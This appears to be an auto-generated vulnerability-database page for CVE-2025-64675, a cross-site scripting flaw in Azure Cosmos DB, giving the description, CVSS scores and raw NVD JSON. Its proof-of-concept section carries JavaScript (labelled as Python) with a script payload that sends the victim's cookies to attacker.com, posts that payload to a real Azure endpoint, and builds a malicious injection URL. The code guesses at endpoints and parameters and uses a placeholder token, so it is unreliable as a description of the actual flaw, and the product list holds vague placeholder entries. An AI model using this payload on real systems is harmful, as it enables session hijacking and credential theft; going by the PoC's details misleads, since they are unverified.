Security Vulnerability Report
中文
CVE-2025-64675 CVSS 8.3 HIGH

CVE-2025-64675

Published: 2025-12-19 00:15:53
Last Modified: 2026-01-16 17:25:04

Description

Improper neutralization of input during web page generation ('cross-site scripting') in Azure Cosmos DB allows an unauthorized attacker to perform spoofing over a network.

CVSS Details

CVSS Score
8.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_cosmos_db:-:*:*:*:*:*:*:* - VULNERABLE
Azure Cosmos DB Web Explorer < 最新安全更新版本
Azure Cosmos DB SDK 特定版本
Azure Portal Cosmos DB 组件

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-64675 XSS PoC for Azure Cosmos DB // This PoC demonstrates the XSS vulnerability in Azure Cosmos DB const axios = require('axios'); // Malicious payload to inject const xssPayload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'; // Function to test XSS vulnerability async function testXSS() { const targetUrl = 'https://cosmos.azure.com/api/explore'; // Attempt to inject XSS payload const exploitData = { query: xssPayload, database: 'testdb', container: 'testcontainer' }; try { const response = await axios.post(targetUrl, exploitData, { headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <token>' } }); // Check if payload is reflected without sanitization if (response.data.includes(xssPayload)) { console.log('[+] XSS vulnerability confirmed!'); console.log('[+] Payload was reflected in response'); } } catch (error) { console.error('[-] Error testing vulnerability:', error.message); } } // Simulate victim clicking malicious link function simulateVictim() { const maliciousUrl = 'https://cosmos.azure.com/api/explore?redirect=<script>alert("XSS")</script>'; console.log('[+] Malicious URL:', maliciousUrl); console.log('[+] When victim visits this URL, script will execute'); } testXSS(); simulateVictim();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64675", "sourceIdentifier": "[email protected]", "published": "2025-12-19T00:15:52.933", "lastModified": "2026-01-16T17:25:03.713", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper neutralization of input during web page generation ('cross-site scripting') in Azure Cosmos DB allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_cosmos_db:-:*:*:*:*:*:*:*", "matchCriteriaId": "4E7E9C60-1563-425D-AAE9-787A67AF6954"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-64675", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}